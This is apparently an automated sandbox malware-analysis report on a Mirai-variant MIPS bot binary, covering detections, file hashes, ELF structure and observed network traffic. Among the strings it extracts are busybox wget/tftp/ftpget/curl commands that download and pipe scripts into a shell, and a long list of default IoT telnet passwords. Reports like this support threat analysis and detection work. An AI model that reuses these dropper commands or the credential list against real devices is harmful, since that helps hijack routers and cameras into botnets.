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Linux Analysis Report
la.bot.mips.elf

Overview

General Information

Sample name:la.bot.mips.elf
Analysis ID:1591524
MD5:f72863e832e6626d7808c2471fdae840
SHA1:d42892d965794622c4984113d8adfd6093e7b199
SHA256:f1b981049bdbd2de54362f1dbe8bca66ea03f9c1231dec041a4911c66450406f
Tags:elfuser-abuse_ch
Infos:

Detection

Mirai
Score:64
Range:0 - 100
Whitelisted:false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Joe Sandbox version:42.0.0 Malachite
Analysis ID:1591524
Start date and time:2025-01-15 02:58:07 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 4m 58s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:la.bot.mips.elf
Detection:MAL
Classification:mal64.troj.linELF@0/0@0/0
Command:/tmp/la.bot.mips.elf
PID:6266
Exit Code:139
Exit Code Info:SIGSEGV (11) Segmentation fault invalid memory reference
Killed:False
Standard Output:

Standard Error:qemu: uncaught target signal 11 (Segmentation fault) - core dumped
  • system is lnxubuntu20
  • la.bot.mips.elf (PID: 6266, Parent: 6187, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/la.bot.mips.elf
  • cleanup
NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai
SourceRuleDescriptionAuthorStrings
la.bot.mips.elfJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    SourceRuleDescriptionAuthorStrings
    6266.1.00007fae74400000.00007fae74420000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: la.bot.mips.elfAvira: detected
      Source: la.bot.mips.elfReversingLabs: Detection: 36%
      Source: la.bot.mips.elfVirustotal: Detection: 34%Perma Link
      Source: la.bot.mips.elfString: /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: /tmp/la.bot.mips.elf (PID: 6266)Socket: 127.0.0.1:43478Jump to behavior
      Source: global trafficTCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
      Source: global trafficTCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
      Source: global trafficTCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: unknownTCP traffic detected without corresponding DNS query: 109.202.202.202
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.43
      Source: unknownTCP traffic detected without corresponding DNS query: 91.189.91.42
      Source: la.bot.mips.elfString found in binary or memory: http:///curl.sh
      Source: la.bot.mips.elfString found in binary or memory: http:///wget.sh
      Source: unknownNetwork traffic detected: HTTP traffic on port 43928 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 42836 -> 443
      Source: Initial sampleString containing 'busybox' found: usage: busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne
      Source: Initial sampleString containing 'busybox' found: /bin/busybox
      Source: Initial sampleString containing 'busybox' found: /bin/busybox hostname FICORA
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo >
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http://
      Source: Initial sampleString containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
      Source: Initial sampleString containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
      Source: Initial sampleString containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
      Source: Initial sampleString containing 'busybox' found: (191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.19
      Source: Initial sampleString containing 'busybox' found: /bin/busybox echo -ne >> > upnprootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd echo '#!/bin/sh' > check_pids.sh
      Source: Initial sampleString containing 'busybox' found: /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//mnt//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k
      Source: ELF static info symbol of initial sample.symtab present: no
      Source: classification engineClassification label: mal64.troj.linELF@0/0@0/0
      Source: /tmp/la.bot.mips.elf (PID: 6266)Queries kernel information via 'uname': Jump to behavior
      Source: la.bot.mips.elf, 6266.1.000055d71e55f000.000055d71e606000.rw-.sdmpBinary or memory string: U!/etc/qemu-binfmt/mips
      Source: la.bot.mips.elf, 6266.1.000055d71e55f000.000055d71e606000.rw-.sdmpBinary or memory string: /etc/qemu-binfmt/mips
      Source: la.bot.mips.elf, 6266.1.00007fff6ffe9000.00007fff7000a000.rw-.sdmpBinary or memory string: x86_64/usr/bin/qemu-mips/tmp/la.bot.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.mips.elf
      Source: la.bot.mips.elf, 6266.1.00007fff6ffe9000.00007fff7000a000.rw-.sdmpBinary or memory string: /usr/bin/qemu-mips
      Source: la.bot.mips.elf, 6266.1.00007fff6ffe9000.00007fff7000a000.rw-.sdmpBinary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: la.bot.mips.elf, type: SAMPLE
      Source: Yara matchFile source: 6266.1.00007fae74400000.00007fae74420000.r-x.sdmp, type: MEMORY

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: la.bot.mips.elf, type: SAMPLE
      Source: Yara matchFile source: 6266.1.00007fae74400000.00007fae74420000.r-x.sdmp, type: MEMORY
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information1
      Scripting
      Valid AccountsWindows Management Instrumentation1
      Scripting
      Path InterceptionDirect Volume AccessOS Credential Dumping11
      Security Software Discovery
      Remote ServicesData from Local System1
      Encrypted Channel
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/JobBoot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      No configs have been found

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      la.bot.mips.elf37%ReversingLabsLinux.Backdoor.Gafgyt
      la.bot.mips.elf34%VirustotalBrowse
      la.bot.mips.elf100%AviraEXP/ELF.Agent.J.8
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No contacted domains info
      NameSourceMaliciousAntivirus DetectionReputation
      http:///wget.shla.bot.mips.elffalse
        high
        http:///curl.shla.bot.mips.elffalse
          high
          • No. of IPs < 25%
          • 25% < No. of IPs < 50%
          • 50% < No. of IPs < 75%
          • 75% < No. of IPs
          IPDomainCountryFlagASNASN NameMalicious
          109.202.202.202
          unknownSwitzerland
          13030INIT7CHfalse
          91.189.91.43
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
          91.189.91.42
          unknownUnited Kingdom
          41231CANONICAL-ASGBfalse
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                              No context
                              No context
                              No created / dropped files found
                              File type:ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
                              Entropy (8bit):5.550805761329931
                              TrID:
                              • ELF Executable and Linkable format (generic) (4004/1) 100.00%
                              File name:la.bot.mips.elf
                              File size:136'592 bytes
                              MD5:f72863e832e6626d7808c2471fdae840
                              SHA1:d42892d965794622c4984113d8adfd6093e7b199
                              SHA256:f1b981049bdbd2de54362f1dbe8bca66ea03f9c1231dec041a4911c66450406f
                              SHA512:0f40771e77cedcef2cc3b731d6d9947ba6ad284fac4fb86030a3d0f1494583202b3405cf2cbaed535679da22b967811e0ea35f47b9898a757dcf55499ed87777
                              SSDEEP:3072:tgxcetLsbhmccPEMl6CFvFB0hYxV7xErHKOuzrugjZnrWn/R6QntATG:Icsi0R7hvFuUzjsdtaG
                              TLSH:8CD3D71E2E218F6DF379C33587B74A31979873D226E1D685D26CE6101E6038EB40FB99
                              File Content Preview:.ELF.....................@.`...4.........4. ...(.............@...@.....p...p.................F...F.....0..v.........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'..X...!........'9.

                              ELF header

                              Class:ELF32
                              Data:2's complement, big endian
                              Version:1 (current)
                              Machine:MIPS R3000
                              Version Number:0x1
                              Type:EXEC (Executable file)
                              OS/ABI:UNIX - System V
                              ABI Version:0
                              Entry Point Address:0x400260
                              Flags:0x1007
                              ELF Header Size:52
                              Program Header Offset:52
                              Program Header Size:32
                              Number of Program Headers:3
                              Section Header Offset:136072
                              Section Header Size:40
                              Number of Section Headers:13
                              Header String Table Index:12
                              NameTypeAddressOffsetSizeEntSizeFlagsFlags DescriptionLinkInfoAlign
                              NULL0x00x00x00x00x0000
                              .initPROGBITS0x4000940x940x8c0x00x6AX004
                              .textPROGBITS0x4001200x1200x1c9e00x00x6AX0016
                              .finiPROGBITS0x41cb000x1cb000x5c0x00x6AX004
                              .rodataPROGBITS0x41cb600x1cb600x30100x00x2A0016
                              .ctorsPROGBITS0x4600000x200000x80x00x3WA004
                              .dtorsPROGBITS0x4600080x200080x80x00x3WA004
                              .data.rel.roPROGBITS0x4600140x200140x8c80x00x3WA004
                              .dataPROGBITS0x4608e00x208e00x4640x00x3WA0016
                              .gotPROGBITS0x460d500x20d500x5e00x40x10000003WAp0016
                              .sbssNOBITS0x4613300x213300x1c0x00x10000003WAp004
                              .bssNOBITS0x4613500x213300x63640x00x3WA0016
                              .shstrtabSTRTAB0x00x213300x560x00x0001
                              TypeOffsetVirtual AddressPhysical AddressFile SizeMemory SizeEntropyFlagsFlags DescriptionAlignProg InterpreterSection Mappings
                              LOAD0x00x4000000x4000000x1fb700x1fb705.58350x5R E0x10000.init .text .fini .rodata
                              LOAD0x200000x4600000x4600000x13300x76b44.34330x6RW 0x10000.ctors .dtors .data.rel.ro .data .got .sbss .bss
                              GNU_STACK0x00x00x00x00x00.00000x7RWE0x4
                              TimestampSource PortDest PortSource IPDest IP
                              Jan 15, 2025 02:59:11.205342054 CET43928443192.168.2.2391.189.91.42
                              Jan 15, 2025 02:59:16.836473942 CET42836443192.168.2.2391.189.91.43
                              Jan 15, 2025 02:59:31.426528931 CET43928443192.168.2.2391.189.91.42
                              Jan 15, 2025 02:59:39.617357969 CET4251680192.168.2.23109.202.202.202
                              Jan 15, 2025 02:59:43.712826014 CET42836443192.168.2.2391.189.91.43
                              Jan 15, 2025 03:00:12.380851030 CET43928443192.168.2.2391.189.91.42

                              System Behavior

                              Start time (UTC):01:59:10
                              Start date (UTC):15/01/2025
                              Path:/tmp/la.bot.mips.elf
                              Arguments:/tmp/la.bot.mips.elf
                              File size:5777432 bytes
                              MD5 hash:0083f1f0e77be34ad27f849842bbb00c